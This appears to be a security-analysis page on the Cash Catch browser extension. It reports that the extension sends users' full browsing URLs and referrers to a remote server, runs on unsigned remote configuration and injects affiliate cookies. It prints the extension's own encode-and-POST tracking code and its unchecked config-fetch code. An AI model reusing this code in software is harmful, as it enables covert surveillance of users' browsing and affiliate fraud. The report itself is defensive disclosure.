Is Cash Catch safe?
Cash Catch runs on every site and sends the full URL, referrer, and hostname of each page you visit to its servers.
On every page you load, Cash Catch's content script transmits the full page URL (including paths and query strings), the referrer, and the hostname to rukthwaealso.com as a base64-encoded request. A service worker pulls remote configuration from hemostgracefu.org and rukthwaealso.com that controls when coupon popups appear and which affiliate tags are used. On supported merchant sites the extension silently opens and closes a hidden background tab to apply_affiliate, dropping affiliate-attribution cookies so its operator earns the commission on your purchase.
Who publishes itinfo - no other listings under this identity
info - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Full page URLs and referrers sent to third-party server on every site visited
Every page you visit triggers Cash Catch to send its URL, referring URL, and the opener tab's hostname to rukthwaealso.com.
This fires on every navigation, on every site, not just shopping ones; the data is base64-encoded first.
What actually happens
You navigate to any website in the browser.
The extension's content script is injected on all URLs and fires automatically at document_idle.
The extension encodes the page URL, referrer, and opener tab hostname into a base64 blob and POSTs it to rukthwaealso.com/get_coupons.
This happens on every navigation including non-shopping sites like banking, health portals, and internal web apps.
Captured request
JSON response containing coupon configurations and behavioral settings for the visited domain.
- Content-Type
- text/plain
eyJyZWZlcnJlciI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS8iLCJwYWdlX3VybCI6Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vYWNjb3VudC9hYm91dC8_aGw9ZW4tVVMifQ==Why you can't catch this in DevTools
The POST body is base64-encoded JSON, making the contents non-obvious in standard network monitoring tools that display the raw body.
{ "referrer": "https://accounts.google.com/", "page_url": "https://www.google.com/account/about/?hl=en-US"}Data sent in every request to rukthwaealso.com/get_coupons
- Current page URLhttps://www.google.com/account/about/?hl=en-US
The full URL of the page you just loaded, including path and query string.
- Referrer URLhttps://accounts.google.com/
The URL of the page you came from, revealing navigation patterns and browsing sequences.
- Visited hostname (query param)osr=google.com&ref=google.com
The domain of the current site appears in the query string as the osr and ref parameters.
- Opener tab hostnameparent: "mail.google.com"
If the current tab was opened from another tab, the domain of that parent tab is included.
- Extension versionver=1.0.22
The installed extension version is included in every request query string.
The code that does this
Service worker code that encodes and transmits browsing context
bg/background.js:307-321 — building and sending the encoded body
bg/background.jsconst encodedData = {};if (referrer) encodedData.referrer = referrer;if (pageUrl) encodedData.page_url = pageUrl;const parentTabId = getSavedParent(senderTabId);if (parentTabId) { try { const parentTab = await chrome.tabs.get(parentTabId); if (parentTab && parentTab.url) { encodedData.parent = new URL(parentTab.url).hostname; } } catch (e) {}}const base64Body = btoa(JSON.stringify(encodedData));const response = await fetch(apiUrl, { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: base64Body, keepalive: true});bg/background.js:294-300 — query string includes hostname and all tracking params
bg/background.jslet apiUrl = `${Config.apiUrl}/get_coupons?tid=${tid}&osr=${encodeURIComponent(hostname)}&ver=${EXT_VERSION}&ext=cash_catch&ref=${encodeURIComponent(hostname)}`;if (trackingParams && Object.keys(trackingParams).length > 0) { Object.keys(trackingParams).forEach(key => { apiUrl += `&${encodeURIComponent(key)}=${encodeURIComponent(trackingParams[key])}`; });}Destination receiving full browsing history
- rukthwaealso.com
Primary data receiver. Collects full page URLs, referrers, and tab ancestry data via POST /get_coupons on every navigation across all sites.
Extension behavior on all sites governed by unsigned remote configuration
Cash Catch downloads its config from hemostgracefu.org and rukthwaealso.com on startup and at intervals.
This sets which sites trigger the popup, affiliate cookie behavior, consent timing, and cart detection sitewide, unsigned.
What actually happens
The extension is installed and the service worker starts.
On startup and at server-defined refresh intervals, the service worker contacts two external servers for behavioral configuration.
The extension downloads unsigned config from hemostgracefu.org and rukthwaealso.com that controls popup behavior, affiliate triggering, and cart detection on every site.
The fetched config is stored locally with no signature or integrity check. Any change to the config without notifying the user alters how the extension behaves across all sites.
When this fires
On every browser startup
Tracking parameters are fetched from rukthwaealso.com/gt on every service worker startup. Full behavioral config is fetched from hemostgracefu.org/api/conf on first run and then refreshed according to the server-supplied refresh_ms field in the config itself, meaning the refresh cadence is also server-controlled.
Configuration keys delivered by hemostgracefu.org that control extension behavior
- Popup timing configcurrent_tab: {cooldown_general_ms: 21600000}
Controls how long the extension waits before showing coupon popups on new tabs and within the same tab.
- Cart detection rulescart_keywords: {enabled: true}, cart_only: {enabled: false}
Defines which URLs and keywords are treated as shopping cart pages, triggering affiliate events.
- Affiliate consent tagmode: {tag: "aff_tid_9812"}
The server can set the affiliate TID (tracking ID) and mode tag used for monetization events across all merchant sites.
- Config refresh intervalrefresh_ms: 3600000
The server specifies how often the extension re-fetches its own config, giving the server perpetual update capability.
- Consent cooldownconsent_cooldown: {enabled: true, cooldown_ms: 86400000}
Controls how frequently the affiliate consent cookie is fired per domain visit.
The code that does this
Config fetch with no integrity check
bg/background.js:132-154 — config fetch, no signature check
bg/background.jsasync function fetchConfigFromServer(trackingParams) { if (!trackingParams || Object.keys(trackingParams).length === 0) { logMessage('No tracking params provided, using default config'); return null; } try { const url = new URL(`https://hemostgracefu.org/api/conf`); url.searchParams.append('ver', EXT_VERSION); Object.keys(trackingParams).forEach(key => url.searchParams.append(key, trackingParams[key])); const response = await fetch(url.href); if (!response.ok) throw new Error('Config API request failed'); const data = await response.json(); if (data && data.message && data.message.settings) { return data.message.settings; // accepted without any signature or hash check } throw new Error('Invalid config response structure'); } catch (error) { logMessage('Error fetching config from server:', error); return null; }}bg/background.js:220-275 — config stored and refresh interval also server-controlled
bg/background.jsasync function getConfigData() { return new Promise((resolve) => { chrome.storage.local.get(['configData', 'configTimestamp'], async (result) => { const configData = result.configData; const configTimestamp = result.configTimestamp; if (!configData) { const fetchedConfig = await fetchConfigFromServer(trackingParams); if (fetchedConfig) { chrome.storage.local.set({ configData: { settings: fetchedConfig }, configTimestamp: Date.now(), // stored without integrity validation }); } return; } // refresh interval is itself supplied by the server const refreshMs = configData.settings?.refresh_ms; if (refreshMs && configTimestamp) { const timeSinceFetch = Date.now() - configTimestamp; if (timeSinceFetch >= refreshMs) { const fetchedConfig = await fetchConfigFromServer(trackingParams); // again stored without any hash/signature check } } }); });}Remote servers delivering unsigned behavioral configuration
- hemostgracefu.org
Delivers the primary behavioral configuration JSON (popup timing, cart detection, affiliate consent rules, refresh cadence) that governs extension behavior on all visited sites.
- rukthwaealso.com
Delivers tracking params (affiliate TID, consent flags) via /gt. Also receives browsing data via /get_coupons: both a config source and a data exfil destination.
Where it sends data
Destinations our analysis observed Cash Catch contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- hemostgracefu.org
Cash Catch sends data to hemostgracefu.org. No other extension we have analyzed sends data here.
- rukthwaealso.com
Cash Catch sends data to rukthwaealso.com. No other extension we have analyzed sends data here.